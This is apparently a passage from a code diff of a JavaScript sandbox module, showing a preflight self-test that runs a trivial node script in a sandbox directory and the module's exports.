durationMs: Date.now() - startedAt,
|
|
418
|
-
stoppedEarly,
|
|
419
|
-
};
|
|
420
|
-
}
|
|
421
|
-
|
|
422
|
-
/**
|
|
423
|
-
* Self-test to confirm the validator host can spawn a `node <script>` process
|
|
424
|
-
* inside the sandbox successfully. Used by the validator daemon at startup to
|
|
425
|
-
* decide whether to participate at all -- if the local toolchain cannot even
|
|
426
|
-
* run `node a-trivial-script.js`, the daemon will refuse to start and print a
|
|
427
|
-
* user-visible warning instead of flooding the Hub with env_fail reports.
|
|
428
|
-
*
|
|
429
|
-
* @returns {Promise<{ok: boolean, reason?: string, exitCode?: number, durationMs: number, stderrTail?: string}>}
|
|
430
|
-
*/
|
|
431
|
-
async function runPreflight() {
|
|
432
|
-
const sandboxDir = createSandboxDir();
|
|
433
|
-
const startedAt = Date.now();
|
|
434
|
-
const scriptPath = path.join(sandboxDir, '__evolver_preflight.js');
|
|
435
|
-
try {
|
|
436
|
-
fs.writeFileSync(scriptPath, "process.stdout.write('preflight_ok\\n');\nprocess.exit(0);\n", { encoding: 'utf8' });
|
|
437
|
-
const r = await runSingleCommand('node __evolver_preflight.js', {
|
|
438
|
-
cwd: sandboxDir,
|
|
439
|
-
timeoutMs: 10_000,
|
|
440
|
-
});
|
|
441
|
-
if (!r.ok) {
|
|
442
|
-
return {
|
|
443
|
-
ok: false,
|
|
444
|
-
reason: r.timedOut
|
|
445
|
-
? 'preflight_timeout'
|
|
446
|
-
: (typeof r.exitCode === 'number' && r.exitCode !== 0 ? 'preflight_exit_nonzero' : 'preflight_failed'),
|
|
447
|
-
exitCode: r.exitCode,
|
|
448
|
-
durationMs: r.durationMs,
|
|
449
|
-
stderrTail: typeof r.stderr === 'string' ? r.stderr.slice(-240) : '',
|
|
450
|
-
};
|
|
451
|
-
}
|
|
452
|
-
return { ok: true, exitCode: r.exitCode || 0, durationMs: Date.now() - startedAt };
|
|
453
|
-
} catch (err) {
|
|
454
|
-
return {
|
|
455
|
-
ok: false,
|
|
456
|
-
reason: 'preflight_exception',
|
|
457
|
-
durationMs: Date.now() - startedAt,
|
|
458
|
-
stderrTail: err && err.message ? String(err.message).slice(-240) : '',
|
|
459
|
-
};
|
|
460
|
-
} finally {
|
|
461
|
-
cleanupDir(sandboxDir);
|
|
462
|
-
}
|
|
463
|
-
}
|
|
464
|
-
|
|
465
|
-
module.exports = {
|
|
466
|
-
runInSandbox,
|
|
467
|
-
runSingleCommand,
|
|
468
|
-
runPreflight,
|
|
469
|
-
createSandboxDir,
|
|
470
|
-
cleanupDir,
|
|
471
|
-
buildSandboxEnv,
|
|
472
|
-
parseCommand,
|
|
473
|
-
assertNodeCommandSafe,
|
|
474
|
-
ALLOWED_EXECUTABLES,
|
|
475
|
-
BLOCKED_NODE_FLAGS,
|
|
476
|
-
DEFAULT_CMD_TIMEOUT_MS,
|
|
477
|
-
MAX_CMD_TIMEOUT_MS,
|
|
478
|
-
DEFAULT_BATCH_TIMEOUT_MS,
|
|
479
|
-
MAX_OUTPUT_CHARS,
|
|
480
|
-
};
|